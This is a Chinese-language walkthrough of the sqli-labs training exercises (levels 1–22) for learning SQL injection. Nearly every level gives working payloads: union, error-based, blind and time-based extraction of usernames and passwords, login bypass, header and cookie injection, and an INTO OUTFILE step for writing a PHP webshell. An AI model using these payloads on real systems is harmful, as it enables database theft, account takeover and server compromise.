1.单引号报错注入
http://ip/Less-1/?id=1' 报错,利用order by 确定字段为3
利用联合查询进行注入
查询数据库名和版本信息
http://ip/Less-1/?id=0' union select 1,database(),version()%23
接着查询表名
http://ip/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'%23
再查询users表中的字段名
http://ip/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
已经得到数据库名,表名,表的字段名,接下来进行查询表中存放的数据。这里查询users表中username、password字段的内容
http://id/Less-1/?id=0' union select 1,group_concat(username),group_concat(password) from security.users%23
2.数字型报错注入
http://id/Less-2/?id=1 and 1=2进行判断,以及使用'+' '-'判断。
可以直接进行注入
还是第一关步骤一样,先查数据库名和版本,再是表名,字段名,最后查询字段内容。
http://ip/Less-2/?id=0 union select 1,database(),version()%23
3.字符串报错注入
使用单引号报错,查看报错信息,多了一个反括号,闭合后再进行联合查询。
查询语句:
http://ip/Less-3/?id=0') union select 1,database(),version()%23
4.双引号字符串报错注入
双引号报错提示
使用双引号和反括号进行闭合,再使用联合注入查询。
http://ip/Less-4/?id=0") union select 1,database(),version()%23
5.双单引号报错注入
输入id=1,正常回显,id=1',回显错误,id=1'',回显正常。采用报错注入。利用函数updatexml(),进行注入。
查询数据库版本信息
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select version()),0x7e),1)%23
查询数据库名
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
查询表名
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
查询users表中的字段名
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)%23
查询字段内容
http://id/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)%23
发现username的字段内容不全,是因为updatexml()最大输出长度是32位。而floor最大输出为64位。
也可以更换updatexml()里面的查询语句,修改limit 0,1参数进行逐个查询
http://ip/Less-5/?id=0' union select 1,2,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1)%23
6.双-双引号报错注入
和上一关类似,一个双引号报错,两个双引号回显正常
查询语句
http://ip/Less-6/?id=1" union select 1,2,updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
7.Dump into outfile
输入一个id=1,确定回显的正常页面。
id=1',报错
id=1",正常
id=1" and 1=2%23,正常,说明 and 1=2没有被执行,也就是说" 被没有闭合
id=1')%23,报错
id=1'))%23,正常
id=1')) and 1=2%23,报错,说明and 1=2被执行了,闭合条件为id=1'))
根据题目outfile提示,可以写文件到mysql,但需要绝对路径。
这关很明显注不出来绝对路径,回到第一关,使用@@datadir查询数据库路径。
查询语句:
http://ip/Less-1/?id=0' union select 1,2,@@datadir%23
获得绝对路径为/var/lib/mysql/
回到Less-7,进行文件写入
http://ip/Less-7/?id=0')) union select 1,2,into outfile "\var\lib\mysql\1.txt"%23
写入报错,去到自己服务器该目录查看是否写入成功,没有写入进去。
开始百度找原因~~~写入权限不够,回到自己服务器赋予777权限。
使用代码测试一下是否有写入权限
http://ip/Less-7/?id=1')) and (select count(*) from mysql.user)>0%23
回显正常说明有写入权限,回显错误则没有
再一次写入文件,代码如下
http://ip/Less-7/?id=0')) union select 1,2,"" into outfile "\var\lib\mysql\1.php"%23
还是报错,服务器路径还是没有文件。
(后续更新~~妈耶,咋搞哇)
我又回来啦,接到写
原因找到了
因为我是docker搭的环境,写入的目录为:
/var/lib/docker/overlay2/36c390646f826a816dc68d06fb2dffc94fccadbfdc44d51a20fb8f9f70ee6260/diff/tmp
不要问我怎么找出来的(腾讯云发短信告诉我这里面有木马!!!!)
最后一次写文件,代码如下:
http://ip/Less-7/?id=0')) union select 1,2,'123' into outfile '/tmp/12.txt'%23
虽然报错,但进到那个蛇皮目录会发现已经写进去了
都怪我太菜。
写入一句话木马:
http://ip/Less-7/?id=0')) union select 1,2,"" into outfile "/tmp/3.php"%23
成功写入
好像少了个 ; 回头补上,因为是docker环境我就不连菜刀了。
8.单引号盲注
输入id=1,回显正常,输入id=1',无回显;再输入 id=1' and 1=1%23,回显正常。
判断为单引号闭合的盲注。
采用布尔盲注进行注入。
判断数据库长度
http://ip/Less-8/?id=1' and length(database())>9%23
判断数据库长度是否大于9,无回显,说明数据库长度小于9
判断数据库长度是否大于5,回显正常。
再判断数据库长度是否在于7,回显正常。
则数据库长度小于9大于7,为8,再使用代码确认一下
http://ip/Less-8/?id=1' and length(database())=8%23
回显正常。
接着猜解数据库名
http://ip/Less-8/?id=1' and left(database(),1)>'a'%23
判断数据库第一个字符是否比 a 大,回显正确,因为数据库为security,字母's'的ascii比字母'a'的大,所以返回正确。当确定第一个字母为 s时,再确定第二个字母,比较代码为:
http://ip/Less-8/?id=1' and left(database(),2)>'sa'%23
回显正确,'sa'换成'sf',回显错误。后面的6个字符判断套路都是一样的,就不演示了,也可以写个脚本或者用sqlmap跑。
确定了 数据库名为'security',再去猜解表名。
猜解第一个表的第一个字符
http://ip/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101%23
回显正确,说明第一个表的第一个字符为e,这里不知道ascii码编号的可以百度一下,a为97,b-98,c-99,d-100,e-101;
猜解第一个表的第二个字符修改,substr(**,2,1)第二个参数即可,substr为分片函数。
猜解第二个表的第一个字符修改为limit 1,1;具体用法百度.
依次猜解表名。
猜解表中字段名,这里以users表为例
http://ip/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)%23
判断users表中是否有us**字段,回显正常说明存在,无回显说明没有。
其实也可以用length先判断字段长度,再使用二分法来猜解。
进一步判断username字段是否存在
http://ip/sqllib/Less-8/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)%23
判断第二个字段password也可以采用同样的方法.
猜解字段内容
http://ip/Less-8/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68%23
获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。
修改limit参数即可获取字段内容。
9.单引号时间盲注
查看源码,回显界面都无变化,sql查询语句需要单引号闭合,采用时间盲注。
首先输入id=1,浏览器快速响应
在输入id=1' and sleep(5)%23,可以发现浏览器要经过一段时间才能响应
这里可以借助burpsuite进行测试。
id=1响应为50millis
id=1' and sleep(5)%23响应时间为5057millis
采用if()函数进行判断,格式为if(Condition,A,B)
意思是:当Condition为true时,返回A;当Condition为false时,返回B;
此时猜解数据库名的SQL注入语句可以进行如下构造:
1' and if(ascii(substr(database(),1,1))>96,sleep(5),0)%23
意思是如果数据库名的第一个字符的ascii大于96,则执行sleep(5)函数,否则返回0
也就是说当我们看见浏览器响应时间变长了,说明if条件语句为真执行了sleep函数。
因为数据库名为security,s的ascii码大于a,所以能借此猜解数据库名。
后续的Condition语句,和Less-8类似这里就不重复了。
10.双引号时间盲注
和Less-9类似,只是单引号闭合变成双引发闭合,后面的语句一样的。
11.POST-报错注入
Less1-Less10都为GET请求,Less11开始为POST请求。
可以借助burpsuite进行测试,或者使用hackbar,记住千万别自动更新!!!
这里以hackbar为主,F12开始hackbar,选上Post data选项。
点击查看器,选中输入框查看传参变量,为uname和passwd
在post data中填写数据提交,回显页面正常。
给uname变量赋予单引号提交报错。
使用永真语句进行登录尝试
uname=123' or 1=1%23&passwd=123
成功登录
12.双引号报错注入
以为和Less-11一样,只把单引号变成双引号就行,怪我太天真,看了源码才发现变量uname和$passwd被('')包裹
此时Post语句为:
uname=1') or 1=1%23&passwd=123
成功登录
14.Less-14
根据题目输入双引号,报错
payload:uname=1" or 1=1 %23&passwd=123
15.Less-15
查看源码,发现把报错信息给注释了,也就是说要盲注,只有当注入成功才会回显成功信息。
payload:
uname=1' or 1=1%23&passwd=123
16.Less-16
Payload: uname=1") or 1=1%23&passwd=1234
17.Less-17
终于换类型了~密码重置
查看源码,发现过滤函数
魔术引号:在特殊符号前面添加
get_magic_quotes_gpc ( void ) : bool
返回当前 magic_quotes_gpc配置选项的设置,如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。
stripslashes(),删除反斜杠
一定操作猛如虎????????
ctype_digit()检测是否为纯数字,是返回true,否返回false
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
再往下看,发现只有uname经过了check_input()函数,而passwd没有。而密码更新语句为:
只需要一个正确的用户名即可重置密码
则可以构造payload:
uname=Dumb&passwd=123
18.Less-18
查看源码,发现用户名和密码都要经过mysql_real_escape_string() 函数转义 ,只能从User-Agent,和ip入手,而且要输入正确的账户密码才能进入insert语句。
手动添加User-Agent头,在多添加一个'),进行报错
也可以使用X-Forwarded-For来伪造ip
这里采用User-Agent进行注入,闭合insert语句
User-Agent:1',1,1)#
成功闭合。
进行报错注入payload:
User-Agent:1',1,updatexml(1,concat(0x7e,(select database()),0x7e),1))#
成功注入,updatexml()报错注入语法已经在前面说过了,这里就不演示了~~
19.Less-19
和Less-18一样,通过http头注入,但注入位置变成referer了
使用referer:1',1)#进行闭合
查询数据库payload:
referer: 1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#
后面的爆表爆字段就不演示了。
20.Less-20
和18,19一样为http头注入,这里注入地方为cookie,先正常登录查看cookie格式
格式为:cookie:uname=Dumb
利用hackbar插件构造cookie进行注入
payload:
Cookie:uname=123 'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
后面的爆表爆字段就不演示了。
21.Less-21
以为后20题一样,只不过cookee参数被('')包裹,进行闭合,然后注入,发现没有数据出来
payload:
cookie:uname=123') or updatexml(1,concat(0x7e,(select database()),0x7e),1)#
emmmmmmmmmmm~~~~~~
再仔细看看源码~
发现经过base64编码,这就好办了,把cookie注入语句编码了再传输。
把123') or updatexml(1,concat(0x7e,(select database()),0x7e),1)#进行base64编码,
编码后结果为:
MTIzJykgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdlKSwxKSM=
写入Cookie,提交
注:这是我使用站长工具的base64编码过不去,更换了其他网站进行编码,网址:
http://tool.chinaz.com/Tools/Base64.aspx
https://base64.us/
如果有小伙伴知道为什么这两个网站base64编码不一样的原因请告知下,让我学习学习~
22.Less-22
和上一题一样,不过闭合条件从')变成"
同样base64加密再传输
payload:
Cookie:uname=MTIzIiBvciB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIw==
Basic Challenges已经全部做完啦,剩余的Advanced Injections、Stacked Injections、Challenges看护网时间来更新~